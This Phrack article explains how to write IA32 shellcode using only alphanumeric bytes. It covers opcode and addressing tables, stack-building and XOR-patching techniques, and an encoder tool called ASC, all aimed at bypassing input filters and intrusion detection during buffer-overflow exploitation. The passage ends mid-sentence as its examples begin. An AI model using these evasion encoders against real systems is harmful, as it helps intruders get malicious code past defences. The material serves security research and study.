Copy Link
Add to Bookmark
Report
Phrack Inc. Volume 11 Issue 57 File 15
==Phrack Inc.==
Volume 0x0b, Issue 0x39, Phile #0x0f of 0x12
|=--------------=[ Writing ia32 alphanumeric shellcodes ]=---------------=|
|=-----------------------------------------------------------------------=|
|=--------------------------=[ rix@hert.org ]=---------------------------=|
----| Introduction
Today, more and more exploits need to be written using assembler,
particularly to write classical shellcodes (for buffer overflows, or
format string attacks,...).
Many programs now achieve powerfull input filtering, using functions like
strspn() or strcspn(): it prevents people from easily inserting shellcodes
in different buffers.
In the same way, we observe more and more IDS detecting suspicious
opcodes sequences, some of them indicating the presence of a shellcode.
One way to evade such pattern matching techniques is to use polymorphic
stuff, like using tools such as K2's ADMmutate.
Another way to do this is going to be presented here: we'll try to write
IA32 non filterable shellcodes, using only alphanumeric chars: more
precisely, we'll use only chars like '0'->'9','A'->'Z' and 'a'->'z'.
If we can write such alphanumeric shellcodes, we will be able to store our
shellcodes nearly everywhere! Let's enumerate some interesting
possibilities:
- filtered inputs
- environment variables
- classical commands, instructions & parameters from usual protocols
- filenames & directories
- usernames & passwords
- ...
----| The usable instructions
Before beginning to think about particular techniques, let's first have a
look at the IA32 instructions that will be interesting for us.
First of all, some conventions (from Intel references) that we'll use in
our summary arrays:
<r8> : indicates a byte register.
<r32> : indicates a doubleword register.
<r/m8> : indicates a byte register or a byte from memory (through
a pointer).
<r/m32> : indicates a doubleword register or a doubleword from
memory (through a pointer).
</r> : indicates that the instruction byte is followed of
possibly several operand bytes. One of those bytes, the
"ModR/M byte", permits us to specify the used addressing
form,with the help of 3 bit fields.
ModR/M byte:
7 6 5 4 3 2 1 0
+---+-----+-----+
|mod| r | r/m |
+---+-----+-----+
In this case, the </r> indicates us the ModR/M byte will
contain a register operand and a register or memory
operand.
<imm8> : indicates an immediate byte value.
<imm32> : indicates an immediate doubleword value.
<disp8> : indicates a signed 8 bits displacement.
<disp32> : indicates a signed 32 bits displacement.
<...> : indicates the instruction possibly need some operands
(eventually encoded on several operand bytes).
ALPHANUMERIC OPCODES:
Now, let's remember all instructions with alphanumeric opcodes:
hexadecimal opcode | char | instruction | interesting
-------------------+------+--------------------------------+------------
30 </r> | '0' | xor <r/m8>,<r8> | YES
31 </r> | '1' | xor <r/m32>,<r32> | YES
32 </r> | '2' | xor <r8>,<r/m8> | YES
33 </r> | '3' | xor <r32>,<r/m32> | YES
34 <imm8> | '4' | xor al,<imm8> | YES
35 <imm32> | '5' | xor eax,<imm32> | YES
36 | '6' | ss: (Segment Override Prefix)|
37 | '7' | aaa |
38 </r> | '8' | cmp <r/m8>,<r8> | YES
39 </r> | '9' | cmp <r/m32>,<r32> | YES
| | |
41 | 'A' | inc ecx | YES
42 | 'B' | inc edx | YES
43 | 'C' | inc ebx | YES
44 | 'D' | inc esp | YES
45 | 'E' | inc ebp | YES
46 | 'F' | inc esi | YES
47 | 'G' | inc edi | YES
48 | 'H' | dec eax | YES
49 | 'I' | dec ecx | YES
4A | 'J' | dec edx | YES
4B | 'K' | dec ebx | YES
4C | 'L' | dec esp | YES
4D | 'M' | dec ebp | YES
4E | 'N' | dec esi | YES
4F | 'O' | dec edi | YES
50 | 'P' | push eax | YES
51 | 'Q' | push ecx | YES
52 | 'R' | push edx | YES
53 | 'S' | push ebx | YES
54 | 'T' | push esp | YES
55 | 'U' | push ebp | YES
56 | 'V' | push esi | YES
57 | 'W' | push edi | YES
58 | 'X' | pop eax | YES
59 | 'Y' | pop ecx | YES
5A | 'Z' | pop edx | YES
| | |
61 | 'a' | popa | YES
62 <...> | 'b' | bound <...> |
63 <...> | 'c' | arpl <...> |
64 | 'd' | fs: (Segment Override Prefix)|
65 | 'e' | gs: (Segment Override Prefix)|
66 | 'f' | o16: (Operand Size Override)| YES
67 | 'g' | a16: (Address Size Override)|
68 <imm32> | 'h' | push <imm32> | YES
69 <...> | 'i' | imul <...> |
6A <imm8> | 'j' | push <imm8> | YES
6B <...> | 'k' | imul <...> |
6C <...> | 'l' | insb <...> |
6D <...> | 'm' | insd <...> |
6E <...> | 'n' | outsb <...> |
6F <...> | 'o' | outsd <...> |
70 <disp8> | 'p' | jo <disp8> | YES
71 <disp8> | 'q' | jno <disp8> | YES
72 <disp8> | 'r' | jb <disp8> | YES
73 <disp8> | 's' | jae <disp8> | YES
74 <disp8> | 't' | je <disp8> | YES
75 <disp8> | 'u' | jne <disp8> | YES
76 <disp8> | 'v' | jbe <disp8> | YES
77 <disp8> | 'w' | ja <disp8> | YES
78 <disp8> | 'x' | js <disp8> | YES
79 <disp8> | 'y' | jns <disp8> | YES
7A <disp8> | 'z' | jp <disp8> | YES
What can we directly deduct of all this?
- NO "MOV" INSTRUCTIONS:
=> we need to find another way to manipulate our data.
- NO INTERESTING ARITHMETIC INSTRUCTIONS ("ADD","SUB",...):
=> we can only use DEC and INC.
=> we can't use INC with the EAX register.
- THE "XOR" INSTRUCTION:
=> we can use XOR with bytes and doublewords.
=> very interesting for basic crypto stuff.
- "PUSH"/"POP"/"POPAD" INSTRUCTIONS:
=> we can push bytes and doublewords directly on the stack.
=> we can only use POP with the EAX,ECX and EDX registers.
=> it seems we're going to play again with the stack.
- THE "O16" OPERAND SIZE OVERRIDE:
=> we can also achieve 16 bits manipulations with this instruction
prefix.
- "JMP" AND "CMP" INSTRUCTIONS:
=> we can realize some comparisons.
=> we can't directly use constant values with CMP.
Besides, Don't forget that operands of these instructions (</r>, <imm8>,
<imm32>, <disp8> and <disp32>) must also remain alphanumeric. It may
make our task once again more complicated...
THE "ModR/M" BYTE:
For example, let's observe the effect of this supplementary constraint on
the ModR/M byte (</r>), particularly for XOR and CMP.
In the next array, we'll find all the possible values for this ModR/M
byte, and their interpretation as <r8>/<r32> (first row) and <r/m> (first
column) operands.
<r8>:| al | cl | dl | bl | ah | ch | dh | bh
<r32>:| eax | ecx | edx | ebx | esp | ebp | esi | edi
<r/m> | | | | | | | |
--:-------------+------+------+------+------+------+------+------+------
(mod=00) | | | | | | | |
[eax] |00 |08 |10 |18 |20 |28 |30 '0'|38 '8'
[ecx] |01 |09 |11 |19 |21 |29 |31 '1'|39 '9'
[edx] |02 |0A |12 |1A |22 |2A |32 '2'|3A
[ebx] |03 |0B |13 |1B |23 |2B |33 '3'|3B
[<SIB>] |04 |0C |14 |1C |24 |2C |34 '4'|3C
[<disp32>] |05 |0D |15 |1D |25 |2D |35 '5'|3D
[esi] |06 |0E |16 |1E |26 |2E |36 '6'|3E
[edi] |07 |0F |17 |1F |27 |2F |37 '7'|3F
----------------+------+------+------+------+------+------+------+------
(mod=01) | | | | | | | |
[eax+<disp8>] |40 |48 'H'|50 'P'|58 'X'|60 |68 'h'|70 'p'|78 'x'
[ecx+<disp8>] |41 'A'|49 'I'|51 'Q'|59 'Y'|61 'a'|69 'i'|71 'q'|79 'y'
[edx+<disp8>] |42 'B'|4A 'J'|52 'R'|5A 'Z'|62 'b'|6A 'j'|72 'r'|7A 'z'
[ebx+<disp8>] |43 'C'|4B 'K'|53 'S'|5B |63 'c'|6B 'k'|73 's'|7B
[<SIB>+<disp8>] |44 'D'|4C 'L'|54 'T'|5C |64 'd'|6C 'l'|74 't'|7C
[ebp+<disp8>] |45 'E'|4D 'M'|55 'U'|5D |65 'e'|6D 'm'|75 'u'|7D
[esi+<disp8>] |46 'F'|4E 'N'|56 'V'|5E |66 'f'|6E 'n'|76 'v'|7E
[edi+<disp8>] |47 'G'|4F 'O'|57 'W'|5F |67 'g'|6F 'o'|77 'w'|7F
----------------+------+------+------+------+------+------+------+------
(mod=10) | | | | | | | |
[eax+<disp32>] |80 |88 |90 |98 |A0 |A8 |B0 |B8
[ecx+<disp32>] |81 |89 |91 |99 |A1 |A9 |B1 |B9
[edx+<disp32>] |82 |8A |92 |9A |A2 |AA |B2 |BA
[ebx+<disp32>] |83 |8B |93 |9B |A3 |AB |B3 |BB
[<SIB>+<disp32>]|84 |8C |94 |9C |A4 |AC |B4 |BC
[ebp+<disp32>] |85 |8D |95 |9D |A5 |AD |B5 |BD
[esi+<disp32>] |86 |8E |96 |9E |A6 |AE |B6 |BE
[edi+<disp32>] |87 |8F |97 |9F |A7 |AF |B7 |BF
---+------------+------+------+------+------+------+------+------+------
(mod=11) | | | | | | | |
al | eax |C0 |C8 |D0 |D8 |E0 |E8 |F0 |F8
cl | ecx |C1 |C9 |D1 |D9 |E1 |E9 |F1 |F9
dl | edx |C2 |CA |D2 |DA |E2 |EA |F2 |FA
bl | ebx |C3 |CB |D3 |DB |E3 |EB |F3 |FB
ah | esp |C4 |CC |D4 |DC |E4 |EC |F4 |FC
ch | ebp |C5 |CD |D5 |DD |E5 |ED |F5 |FD
dh | esi |C6 |CE |D6 |DE |E6 |EE |F6 |FE
bh | edi |C7 |CF |D7 |DF |E7 |EF |F7 |FF
What can we deduct this time for XOR and CMP?
- SOME "xor [<r32>],dh" AND "xor [<r32>],bh" INSTRUCTIONS.
- THE "xor [<disp32>],dh" INSTRUCTION.
- SOME "xor [<r32>+<disp8>],<r8>" INSTRUCTIONS.
- NO "xor <r8>,<r8>" INSTRUCTIONS.
- SOME "xor [<r32>],esi" AND "xor [<r32>],edi" INSTRUCTIONS.
- THE "xor [<disp32>],esi" INSTRUCTION.
- SOME "xor [<r32>+<disp8>],<r32>" INSTRUCTIONS.
- NO "xor <r32>,<r32>" INSTRUCTIONS.
- SOME "xor dh,[<r32>]" AND "xor bh,[<r32>]" INSTRUCTIONS.
- THE "xor dh,[<disp32>]" INSTRUCTION.
- SOME "xor <r8>,[<r32>+<disp8>]" INSTRUCTIONS.
- SOME "xor esi,[<r32>]" AND "xor edi,[<r32>]" INSTRUCTIONS.
- THE "xor esi,[<disp32>]" INSTRUCTION.
- SOME "xor <r32>,[<r32>+<disp8>]" INSTRUCTIONS.
- SOME "cmp [<r32>],dh" AND "cmp [<r32>],bh" INSTRUCTIONS.
- THE "cmp [<disp32>],dh" INSTRUCTION.
- SOME "cmp [<r32>+<disp8>],<r8>" INSTRUCTIONS.
- NO "cmp <r8>,<r8>" INSTRUCTIONS.
- SOME "cmp [<r32>],esi" AND "cmp [<r32>],edi" INSTRUCTIONS.
- THE "cmp [<disp32>],esi" INSTRUCTION.
- SOME "cmp [<r32>+<disp8>],<r32>" INSTRUCTIONS.
- NO "cmp <r32>,<r32>" INSTRUCTIONS.
THE "SIB" BYTE:
To be complete, we must also analyze possibilities offered by the Scale
Index Base byte ("<SIB>" in our last array). This SIB byte allows us to
create addresses having the following form:
<SIB> = <base>+(2^<scale>)*<index>
Where:
<base> : indicate a base register.
<index> : indicate an index register.
<scale> : indicate a scale factor for the index register.
Here are the different bit fields of this byte:
7 6 5 4 3 2 1 0
+---+-----+-----+
|sc.|index|base |
+---+-----+-----+
Let's have a look at this last array:
<base>:| eax | ecx | edx | ebx | esp | ebp | esi | edi
| | | | | | (if | |
(2^<scale>)| | | | | | MOD | |
*<index> | | | | | | !=00)| |
----:------+------+------+------+------+------+------+------+------
eax |00 |01 |02 |03 |04 |05 |06 |07
ecx |08 |09 |0A |0B |0C |0D |0E |0F
edx |10 |11 |12 |13 |14 |15 |16 |17
ebx |18 |19 |1A |1B |1C |1D |1E |1F
0 |20 |21 |22 |23 |24 |25 |26 |27
ebp |28 |29 |2A |2B |2C |2D |2E |2F
esi |30 '0'|31 '1'|32 '2'|33 '3'|34 '4'|35 '5'|36 '6'|37 '7'
edi |38 '8'|39 '9'|3A |3B |3C |3D |3E |3F
-----------+------+------+------+------+------+------+------+------
2*eax |40 |41 'A'|42 'B'|43 'C'|44 'D'|45 'E'|46 'F'|47 'G'
2*ecx |48 'H'|49 'I'|4A 'J'|4B 'K'|4C 'L'|4D 'M'|4E 'N'|4F 'O'
2*edx |50 'P'|51 'Q'|52 'R'|53 'S'|54 'T'|55 'U'|56 'V'|57 'W'
2*ebx |58 'X'|59 'Y'|5A 'Z'|5B |5C |5D |5E |5F
0 |60 |61 'a'|62 'b'|63 'c'|64 'd'|65 'e'|66 'f'|67 'g'
2*ebp |68 'h'|69 'i'|6A 'j'|6B 'k'|6C 'l'|6D 'm'|6E 'n'|6F 'o'
2*esi |70 'p'|71 'q'|72 'r'|73 's'|74 't'|75 'u'|76 'v'|77 'w'
2*edi |78 'x'|79 'y'|7A 'z'|7B |7C |7D |7E |7F
-----------+------+------+------+------+------+------+------+------
4*eax |80 |81 |82 |83 |84 |85 |86 |87
4*ecx |88 |89 |8A |8B |8C |8D |8E |8F
4*edx |90 |91 |92 |93 |94 |95 |96 |97
4*ebx |98 |99 |9A |9B |9C |9D |9E |9F
0 |A0 |A1 |A2 |A3 |A4 |A5 |A6 |A7
4*ebp |A8 |A9 |AA |AB |AC |AD |AE |AF
4*esi |B0 |B1 |B2 |B3 |B4 |B5 |B6 |B7
4*edi |B8 |B9 |BA |BB |BC |BD |BE |BF
-----------+------+------+------+------+------+------+------+------
8*eax |C0 |C1 |C2 |C3 |C4 |C5 |C6 |C7
8*ecx |C8 |C9 |CA |CB |CC |CD |CE |CF
8*edx |D0 |D1 |D2 |D3 |D4 |D5 |D6 |D7
8*ebx |D8 |D9 |DA |DB |DC |DD |DE |DF
0 |E0 |E1 |E2 |E3 |E4 |E5 |E6 |E7
8*ebp |E8 |E9 |EA |EB |EC |ED |EE |EF
8*esi |F0 |F1 |F2 |F3 |F4 |F5 |F6 |F7
8*edi |F8 |F9 |FA |FB |FC |FD |FE |FF
-----------+------+------+------+------+------+------+------+------
(if <base> |
==ebp | => <SIB> = <disp32>+(2^<scale>)*<index>
and MOD==0)|
-----------+-------------------------------------------------------
What can we deduct of this last array?
- SOME "<r32>+esi" SIB ADDRESSES.
- SOME "<r32>+2*<r32>" SIB ADDRESSES.
- NO "<r32>+4*<r32>" OR "<r32>+8*<r32>" SIB ADDRESSES.
Also remember that the usual bytes order for a full instruction with
possibly ModR/M, SIB byte and disp8/disp32 is:
<opcode> [Mode R/M byte] [<SIB>] [<disp8>/<disp32>]
THE "XOR" INSTRUCTION:
We notice that we have some possibilities for the XOR instruction. Let's
remember briefly all possible logical combinations:
a | b | a XOR b (=c)
--+---+-------------
0 | 0 | 0
0 | 1 | 1
1 | 0 | 1
1 | 1 | 0
What can we deduct of this?
- a XOR a = 0
=> we can easily initialize registers to 0.
- 0 XOR b = b
=> we can easily load values in registers containing 0.
- 1 XOR b = NOT b
=> we can easily invert values using registers containing 0xFFFFFFFF.
- a XOR b = c
b XOR c = a
a XOR c = b
=> we can easily find a byte's XOR complement.
----| Classic manipulations
Now, we are going to see various methods permitting to achieve a maximum
of usual low level manipulations from the authorized instructions listed
above.
INITIALIZING REGISTERS WITH PARTICULAR VALUES:
First of all, let's think about a method allowing us to initialize some
very useful particular values in our registers, like 0 or 0xFFFFFFFF
(see alphanumeric_initialize_registers() in asc.c).
For example:
push 'aaaa' ; 'a' 'a' 'a' 'a'
pop eax ;EAX now contains 'aaaa'.
xor eax,'aaaa' ;EAX now contains 0.
dec eax ;EAX now contains 0xFFFFFFFF.
We are going to memorize those special values in particular registers, to
be able to use them easily.
INITIALIZING ALL REGISTERS:
At the beginning of our shellcode, we will need to initialize several
registers with values that we will probably use later.
Don't forget that we can't use POP with all registers (only EAX,ECX and
EDX) We will then use POPAD. For example, if we suppose EAX contain 0 and
ECX contain 'aaaa', we can initialize all our registers easily:
push eax ;EAX will contain 0.
push ecx ;no change to ECX ('aaaa').
push esp ;EDX will contain ESP after POPAD.
push eax ;EBX will contain 0.
push esp ;no change to ESP.
push ebp ;no change to EBP.
push ecx ;ESI will contain 'aaaa' after POPAD.
dec eax ;EAX will contain 0xFFFFFFFF.
push eax ;EDI will contain 0xFFFFFFFF.
popad ;we get all values from the stack.
COPYING FROM REGISTERS TO REGISTERS:
Using POPAD, we can also copy data from any register to any register, if
we can't PUSH/POP directly. For example, copying EAX to EBX:
push eax ;no change.
push ecx ;no change.
push edx ;no change.
push eax ;EBX will contain EAX after POPAD.
push eax ;no change (ESP not "poped").
push ebp ;no change.
push esi ;no change.
push edi ;no change.
popad
Let's note that the ESP's value is changed before the PUSH since we have 2
PUSH preceding it, but POPAD POP all registers except ESP from the stack.
SIMULATING A "NOT" INSTRUCTION:
By using XOR, we can easily realize a classical NOT instruction. Suppose
EAX contains the value we want to invert, and EDI contains 0xFFFFFFFF:
push eax ;we push the value we want to invert.
push esp ;we push the offset of the value we
; pushed on the stack.
pop ecx ;ECX now contains this offset.
xor [ecx],edi ;we invert the value.
pop eax ;we get it back in EAX.
READING BYTES FROM MEMORY TO A REGISTER:
Once again, by using XOR and the 0 value (here in EAX), we can read an
arbitrary byte into DH:
push eax ;we push 0 on the stack.
pop edx ;we get it back in ECX (DH is now 0).
xor dh,[esi] ;we read our byte using [esi] as source
;address.
We can also read values not far from [esp] on the stack, by using DEC/INC
on ESP, and then using a classical POP.
WRITING ALPHANUMERIC BYTES TO MEMORY:
If we need a small place to write bytes, we can easily use PUSH and write
our bytes by decreasing memory addresses and playing with INC on ESP.
push 'cdef' ; 'c' 'd' 'e' 'f'
push 'XXab' ; 'X' 'X' 'a' 'b' 'c' 'd' 'e' 'f'
inc esp ; 'X' 'a' 'b' 'c' 'd' 'e' 'f'
inc esp ; 'a' 'b' 'c' 'd' 'e' 'f'
Now, ESP points at a "abcdef" string written on the stack...
We can also use the 016 instruction prefix to directly push a 16 bits
value:
push 'cdef' ; 'c' 'd' 'e' 'f'
push 'ab' ; 'a' 'b' 'c' 'd' 'e' 'f'
----| The methods
Now, let's combine some of these interesting manipulations to effectively
generate alphanumeric shellcodes .
We are going to generate an alphanumeric engine, that will build our
original (non-alphanumeric) shellcode. We will propose 2 different
techniques:
USING THE STACK:
Because we have a set of instructions related to the stack, we are going
to use them efficiently.
In fact, we are going to construct our original code gradually while
pushing values on the stack, from the last byte (B1) of our original
shellcode to the first one (see alphanumeric_stack_generate() and
"-m stack" option in asc.c):
.... 00 00 00 00 00 00 00 00 00 00 00 00 SS SS SS SS ....
.... 00 00 00 00 00 00 00 00 00 00 B2 B1 SS SS SS SS ....
<-----
.... 00 00 00 00 00 00 00 B5 B4 B3 B2 B1 SS SS SS SS ....
<-----------------
.... 00 00 00 B9 B8 B7 B6 B5 B4 B3 B2 B1 SS SS SS SS ....
<-------original shellcode--------
Where: SS represents bytes already present on the stack.
00 represents non used bytes on the stack.
Bx represents bytes of our original non-alphanumeric shellcode.
It is really easy, because we have instructions to push doublewords or
words, and we can also play with INC ESP to simply push a byte.
The problem is that we cannot directly push non-alphanumeric bytes. Let's
try to classify bytes of our original code in different categories.
(see alphanumeric_stack_get_category() in asc.c).
We can thus write tiny blocks of 1,2,3 or 4 bytes from the same category
on the stack (see alphanumeric_stack_generate_push() in asc.c).
Let's observe how to realize that:
- CATEGORY_00:
We suppose the register (<r>,<r32>,<r16>) contains the 0xFFFFFFFF value.
1 BYTE:
inc <r32> ;<r32> now contains 0.
push <r16> ; 00 00
inc esp ; 00
dec <r32> ;<r32> now contains 0xFFFFFFFF.
2 BYTES:
inc <r32> ;<r32> now contains 0.
push <r16> ; 00 00
dec <r32> ;<r32> now contains 0xFFFFFFFF.
3 BYTES:
inc <r32> ;<r32> now contains 0.
push <r32> ; 00 00 00 00
inc esp ; 00 00 00
dec <r32> ;<r32> now contains 0xFFFFFFFF.
4 BYTES:
inc <r32> ;<r32> now contains 0.
push <r32> ; 00 00 00 00
dec <r32> ;<r32> now contains 0xFFFFFFFF.
- CATEGORY_FF:
We use the same mechanism as for CATEGORY_00, except that we don't need
to INC/DEC the register containing 0xFFFFFFFF.
- CATEGORY_ALPHA:
We simply push the alphanumeric values on the stack, possibly using a
random alphanumeric byte "??" to fill the doubleword or the word.
1 BYTE:
push 0x??B1 ; ?? B1
inc esp ; B1
2 BYTES:
push 0xB2B1 ; B2 B1
3 BYTES:
push 0x??B3B2B1 ; ?? B3 B2 B1
inc esp ; B3 B2 B1
4 BYTES:
push 0xB4B3B2B1 ; B4 B3 B2 B1
- CATEGORY_XOR:
We choose random alphanumeric bytes X1,X2,X3,X4 and Y1,Y2,Y3,Y4, so that
X1 xor Y1 = B1, X2 xor Y2 = B2, X3 xor Y3 = B3 and X4 xor Y4 = B4
(see alphanumeric_get_complement() in asc.c).
1 BYTE:
push 0x??X1 ; ?? X1
pop ax ;AX now contains 0x??X1.
xor ax,0x??Y1 ;AX now contains 0x??B1.
push ax ; ?? B1
inc esp ; B1
2 BYTES:
push 0xX2X1 ; X2 X1
pop ax ;AX now contains 0xX2X1.
xor ax,0xY2Y1 ;AX now contains 0xB2B1.
push ax ; B2 B1
3 BYTES:
push 0x??X3X2X1 ; ?? X3 X2 X1
pop eax ;EAX now contains 0x??X3X2X1.
xor eax,0x??Y3Y2Y1 ;EAX now contains 0x??B3B2B1.
push eax ; ?? B3 B2 B1
inc eax ; B3 B2 B1
4 BYTES:
push 0xX4X3X2X1 ; X4 X3 X2 X1
pop eax ;EAX now contains 0xX4X3X2X1.
xor eax,0xY4Y3Y2Y1 ;EAX now contains 0xB4B3B2B1.
push eax ; B4 B3 B2 B1
- CATEGORY_ALPHA_NOT and CATEGORY_XOR_NOT:
We simply generate CATEGORY_ALPHA and CATEGORY_XOR bytes (N1,N2,N3,N4) by
realizing a NOT operation on the original value. We must then cancel the
effect of this operation, by realizing again a NOT operation but this
time on the stack (see alphanumeric_stack_generate_not() in asc.c).
1 BYTE:
push esp
pop ecx ;ECX now contains ESP.
; N1
xor [ecx],<r8> ; B1
2 BYTES:
push esp
pop ecx ;ECX now contains ESP.
; N2 N1
xor [ecx],<r16> ; B2 B1
3 BYTES:
push esp
pop ecx ;ECX now contains ESP.
; N3 N2 N1
dec ecx ; ?? N3 N2 N1
xor [ecx],<r32> ; ?? B3 B2 B1
inc ecx ; B3 B2 B1
4 BYTES:
push esp
pop ecx ;ECX now contains ESP.
; N4 N3 N2 N1
xor [ecx],<r32> ; B4 B3 B2 B1
While adding each of these small codes, with the appropriate values, to
our alphanumeric shellcode, we'll generate an alphanumeric shellcode wich
will build our non-alphanumeric shellcode on the stack.
USING "XOR PATCHES":
Another possibility is to take advantage of an interesting addressing
mode, using both ModR/M and SIB bytes in combination with the following
XOR instruction (see alphanumeric_patches_generate_xor() and "-m patches"
option in asc.c):
xor [<base>+2*<index>+<disp8>],<r8>
xor [<base>+2*<index>+<disp8>],<r16>
xor [<base>+2*<index>+<disp8>],<r32>
Suppose we have such an architecture for our shellcode:
[initialization][patcher][ data ]
We can initialize some values and registers in [initialization], then use
XOR instructions in [patcher] to patch bytes in [data]:
(see alphanumeric_patches_generate() in asc.c)
[initialization][patcher][original non-alphanumeric shellcode]
To use this technique, we need to know the starting address of our
shellcode. We can store it in a <base> register, like EBX or EDI.
We must then calculate the offset for the first non-alphanumeric byte to
patch, and generate this offset again by using an <index> register and an
alphanumeric <disp8> value:
[initialization][patcher][original non-alphanumeric shellcode]
| |
<base> <base>+2*<index>+<disp8>
The main issue here is that our offset is going to depend on the length
of our [initialization] and [patcher]. Besides, this offset is not
necessarily alphanumeric. Therefore, we'll generate this offset in
[initialization], by writing it on the stack with our previous technique.
We'll try to generate the smallest possible [initialization], by
increasing gradually an arbitrary offset, trying to store the code to
calculate it in [initialization], and possibly add some padding bytes
(see alphanumeric_patches_generate_initialization() in asc.c):
First iteration:
[######################][patcher][data]
|
offset
[code to generate this offset] => too big.
Second iteration:
[##########################][patcher][data]
|
--->offset
[ code to generate this offset ] => too big.
Nth iteration:
[#######################################][patcher][data]
|
---------------->offset
[ code to generate this offset ] => perfect.
Adding some padding bytes:
[#######################################][patcher][data]
|
---------------->offset
[ code to generate this offset ][padding] => to get the exact size.
And finally the compiled shellcode:
[ code to generate the offset ][padding][patcher][data]
We will also iterate on the <disp8> value, because some values can give us
an easy offset to generate.
What will contain the [data] at runtime ?
We will use exactly the same manipulations as for the "stack technique",
except that here, we can (we MUST !!!) have directly stored alphanumeric
values in our [data].
Another problem is that we can only use <r8>,<r16> or <r32> registers.
It prevents us to patch 3 bytes with only one XOR instruction without
modifying previous or next bytes.
Finally, once we patched some bytes, we must increment our offset to reach
the next bytes that we need to patch. We can simply increment our <base>,
or increment our <disp8> value if <disp8> is always alphanumeric.
To finish this description of the techniques, let's remember again that
we cannot use all registers and addressing modes... We can only use the
ones that are "alphanumeric compatibles". For example, in the "XOR
patching technique", we decided to use the following registers:
<base> = ebx | edi
<index> = ebp
XOR register = eax | ecx
NOT register = dl | dh | edx | esi
Let's note that those registers are randomly allocated, to add some
basic polymorphism abilities (see alphanumeric_get_register() in asc.c).
----| Some architectures and considerations
Now, we will analyze different general architectures and considerations to
generate alphanumeric shellcodes.
For the "XOR patching technique", the only constraint is that we need to
know the address of our shellcode. Usually this is trivial: we used this
address to overflow a return address. For example, if we overwrote a
return value, we can easily recover it at the beginning of our shellcode
(see alphanumeric_get_address_stack() and "-a stack" option in asc.c):
dec esp
dec esp
dec esp
dec esp
pop <r32>
The address can also be stored in a register (see "-a <r32>" option in
asc.c). In this case, no preliminary manipulation will be necessary.
For the "stack technique", we can have different interesting
architectures, depending on the position of the buffer we try to smash.
Let's analyze some of them briefly.
If our shellcode is on the stack, followed by a sufficient space and by a
return address, this is really perfect. Let's look at what is going to
happen to our stack:
.... AA AA AA AA 00 00 00 00 00 00 RR RR RR RR SS SS ....
[EIP] [ESP]
.... AA AA AA AA 00 00 00 00 00 00 RR BB BB BB SS SS ....
-->[EIP] [ESP]<---------
Our non-alphanumeric shellcode gets down to meet the end of our compiled
shellcode. Once we have built our entire original shellcode, we can simply
build padding instructions to connect both shellcodes.
.... AA AA AA AA PP PP PP PP PP PP RR BB BB BB SS SS ....
------>[EIP] [ESP]<-------------------------------------
.... AA AA AA AA PP PP PP PP PP PP RR BB BB BB SS SS ....
-------------------------------------->[EIP]
Where: AA represents bytes of our alphanumeric compiled shellcode.
00 represents non used positions on the stack.
SS represents bytes already present on the stack.
RR represents bytes of our return address.
BB represents bytes of ou non-alphanumeric generated shellcode.
PP represents bytes of simple padding instructions (ex: INC ECX).
To use this method, we must have an original shellcode with a smaller size
compared to the space between the end of our compiled shellcode and the
value of ESP at the beginning of the execution of our shellcode.
We must also be sure that the last manipulations on the stack (to generate
padding instructions) will not overwrite the last instructions of our
compiled shellcode. If we simply generate alphanumeric padding
instructions, it should not make any problems.
We can also add some padding instructions at the end of our alphanumeric
compiled shellcode, and let them be overwritten by our generated padding
instructions. This approach is interesting for brute forcing
(see "-s null" option in asc.c).
We can also proceed in a slightly different way, if the space between our
compiled shellcode and the original shellcode has an alphanumeric length
(<disp8> alphanumeric). We simply use 2 inverse conditional jumps, like
this:
[end of our compiled shellcode]
jo <disp8>+1 -+
|
jno <disp8> --+
|
... |
|
label: <-------+
[begin of our original non-alphanumeric shellcode]
We can also combine "stack" and "patches" techniques. We build our
original shellcode on the stack (1), and simply jump to it once built (3).
The problem is that we don't have alphanumeric jump instructions. We'll
generate a JMP ESP simply by using the "patches technique" (2) on one byte
(see "-s jmp" option in asc.c):
+--patch (2)-+
| |
[non-alphanumeric building code][JMP ESP patching code][jmp esp]
| |
+-------------+---------jump (3)------------------------------+
| |
| build (1)
| |
+-> [non-alphanumeric code]
We can also replace the JMP ESP by the following sequence, easier to
generate (see "-s ret" option in asc.c):
push esp
ret
Finally, we can generate yet another style of shellcode. Suppose we have a
really big non-alphanumeric shellcode. Perhaps is it more interesting to
compress it, and to write a small non-alphanumeric decompression engine
(see "-s call" option in asc.c):
+--patch (2)--+
| |
[non-alphanumeric building code][CALL ESP patching code][call esp][data]
| |
+-------------+---------call (3)--------------------------------+
| |
| build (1)
| |
| <---------+-------------------------------->
|
+-> [pop <r32>][decompression engine][jmp <r32>]
(4) (5) (6)
Once the CALL ESP is executed (3), the address of [data] is pushed on the
stack. The engine only has to pop it in a register (4), can then
decompress the data to build the original shellcode (5), and finally jump
to it (6).
As we can see it, possibilities are really endless!
----| ASC, an Alphanumeric Shellcode Compiler
ASC offers some of the techniques proposed above.
What about the possible options?
COMPILATION OPTIONS:
These options allow us to specify the techniques and architecture the
alphanumeric shellcode will use to build the original shellcode.
-a[ddress] stack|<r32> : allows to specify the start address of the
shellcode (useful for patching technique).
"stack" means we get the address from the stack.
<r32> allows to specify a register containing this starting address.
-m[ode] stack|patches : allows to choose the type of alphanumeric
shellcode we want to generate.
"stack" generates our shellcode on the stack.
"patches" generates our shellcode by XOR patching.
-s[tack] call|jmp|null|ret : specifies the method (if "-m stack") to
return to the original shellcode on the stack.
"call" uses a CALL ESP instruction.
"jmp" uses a JMP ESP instruction.
"null" doesn't return to the code (if the original code is right after
the alphanumeric shellcode).
"ret" uses PUSH ESP and RET instructions.
DEBUGGING OPTIONS:
These options permit us to insert some breakpoints (int3), and observe the
execution of our alphanumeric shellcode.
-debug-start : inserts a breakpoint to the start of the compiled
shellcode.
-debug-build-original : inserts a breakpoint before to build the original
shellcode.
-debug-build-jump : inserts a breakpoint before to build the jump code
(if we specified the -s option). Useless if "-s null".
-debug-jump : inserts a breakpoint before to run the jump instruction
(if we specified the -s option). If "-s null", the breakpoint will
simply be at the end of the alphanumeric shellcode.
-debug-original : inserts a breakpoint to the beginning of the original
shellcode. This breakpoint will be build at runtime.
INPUT/OUTPUT OPTIONS:
-c[har] <char[] name> : specifies a C variable name where a shellcode is
stored:
char array[]= "blabla" /* my shellcode */
"blabla";
If no name is specified and several char[] arrays are present, the first
one will be used. The parsing recognizes C commentaries and multi-lines
arrays. This option also assure us that the input file is a C file, and
not a binary file.
-f[ormat] bin|c : specifies the output file format. If C format is chosen,
ASC writes a tiny code to run the alphanumeric shellcode, by simulating
a RET address overflow. This code cannot run correctly if "-a <r32>"
or "-s null" options were used.
-o[utput] <output file> : allows to specify the output filename.
EXAMPLES:
Let's finish with some practical examples, using shellcodes from nice
